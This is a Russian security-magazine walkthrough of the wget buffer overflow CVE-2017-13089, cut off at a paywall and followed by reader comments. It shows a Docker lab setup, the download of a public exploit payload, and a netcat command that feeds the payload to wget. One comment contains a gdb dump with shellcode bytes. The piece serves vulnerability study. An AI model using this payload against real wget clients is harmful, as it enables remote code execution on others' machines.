Практически в каждом дистрибутиве Linux есть такая полезная утилита, как wget. С ее помощью легко и удобно скачивать большие файлы. Она же встречается и на веб-серверах, где любая уязвимость может обернуться пренеприятными последствиями для владельца. Мы разберем, как работает баг wget, связанный с переполнением буфера. Его эксплуатация может привести к выполнению произвольных команд на целевой системе.

INFO

Уязвимости присвоен номер CVE-2017-13089, она присутствует во всех версиях wget вплоть до 1.19.1.

 

Стенд

Сперва готовим площадку для будущих экспериментов. Тут нам на помощь пришла работа Роберта Дженсена (Robert Jensen), который собрал докер-контейнер для тестирования уязвимости. Скачать докер-файл, эксплоит и прочее ты можешь в его репозитории. Затем останется только выполнить

docker build -t cve201713089 .

Если ничего качать не хочется, то достаточно команды

docker pull robertcolejensen/cve201713089

Затем запускаем контейнер.

docker run  --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -ti --name=wget --hostname=wget robertcolejensen/cve201713089 /bin/bash

Подключившись к контейнеру, компилируем исходники wget с флагом -g для более удобной отладки.

$ wget ftp://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
$ tar xvzf wget-1.19.1.tar.gz
$ cd wget-1.19.1 && CFLAGS="-g" ./configure && make && make install && cd -

Проверим, успешно ли скомпилились исходники с поддержкой отладочных символов.

$ gdb wget
gdb подгрузил отладочные символы
gdb подгрузил отладочные символы

Теперь с этим можно работать. Переходим к следующему этапу.

 

Анализируем уязвимость

Давай сразу посмотрим, как можно триггернуть уязвимость. Для этого в репозитории есть пейлоад, который можно скачать тем же wget. 🙂

$ wget https://raw.githubusercontent.com/r1b/CVE-2017-13089/master/src/exploit/payload

Перенаправим вывод из файла в порт при помощи netcat и попробуем получить содержимое через wget.

$ nc -lp 1337 < payload &
$ wget --debug localhost:1337

После коннекта и получения ответа утилита крашится.

Продолжение доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все материалы на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи один материал

Заинтересовала информация, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для материалов, опубликованных более двух месяцев назад.


3 комментария

  1. LorDo

    02.12.2017 at 09:50

    Повышение привеоегий возможно через этот баг?

  2. droidlove

    04.12.2017 at 01:22

    А как подбирать смещение, которое в статье равно 568 байт?

  3. droidlove

    04.12.2017 at 01:51

    Давайте разберёмся где я косячу. Подобрал длину последовательности «А*», но процесс деша не спавнится.

    Breakpoint 1, sock_read (fd=4, buf=0x7fffffffda70 «@%e\367\377\177», bufsize=768) at connect.c:783
    783 res = read (fd, buf, bufsize);
    (gdb) n
    784 while (res == -1 && errno == EINTR);
    (gdb) where
    #0 sock_read (fd=4,
    buf=0x7fffffffda70 «H1\311H\201\351\372\377\377\377H\215\005\357\377\377\377H\273\305\265\313`\036\272\262\033H1X’H-\370\377\377\377\342\364\257\216\223\371V\001\235y\254\333\344\023v\272\341SLR\243M}\272\262SLS\231\210\026\272\262\033\352\327\242\016\061\311\332\033\223\342\203\351\370\265\267\033», ‘A’ …, bufsize=768) at connect.c:784
    #1 0x00000000004066d9 in fd_read (fd=4,
    buf=0x7fffffffda70 «H1\311H\201\351\372\377\377\377H\215\005\357\377\377\377H\273\305\265\313`\036\272\262\033H1X’H-\370\377\377\377\342\364\257\216\223\371V\001\235y\254\333\344\023v\272\341SLR\243M}\272\262SLS\231\210\026\272\262\033\352\327\242\016\061\311\332\033\223\342\203\351\370\265\267\033», ‘A’ …, bufsize=768, timeout=-1) at connect.c:938
    #2 0x0000000000420a90 in skip_short_body (fd=4, contlen=-4294966528, chunked=true) at http.c:989
    #3 0x00007fffffffda70 in ?? ()
    #4 0x00000000000a300a in ?? ()
    #5 0x0000000000000000 in ?? ()
    (gdb) x/10x 0x00007fffffffda70
    0x7fffffffda70: 0x48c93148 0xfffae981 0x8d48ffff 0xffffef05
    0x7fffffffda80: 0xc5bb48ff 0x1e60cbb5 0x481bb2ba 0x48275831
    0x7fffffffda90: 0xfffff82d 0xaff4e2ff
    (gdb) c
    Continuing.
    ^C
    Program received signal SIGINT, Interrupt.
    0x00007ffff738a573 in __select_nocancel () at ../sysdeps/unix/syscall-template.S:84
    84 ../sysdeps/unix/syscall-template.S: No such file or directory.

Оставить мнение

Check Also

Господин Самоуничтожение. Как в домашних условиях смастерить Rubber Ducky со встроенной пиротехникой

Представь: ты втыкаешь в USB какую-то флешку, и вдруг в браузере открывается окно, где гру…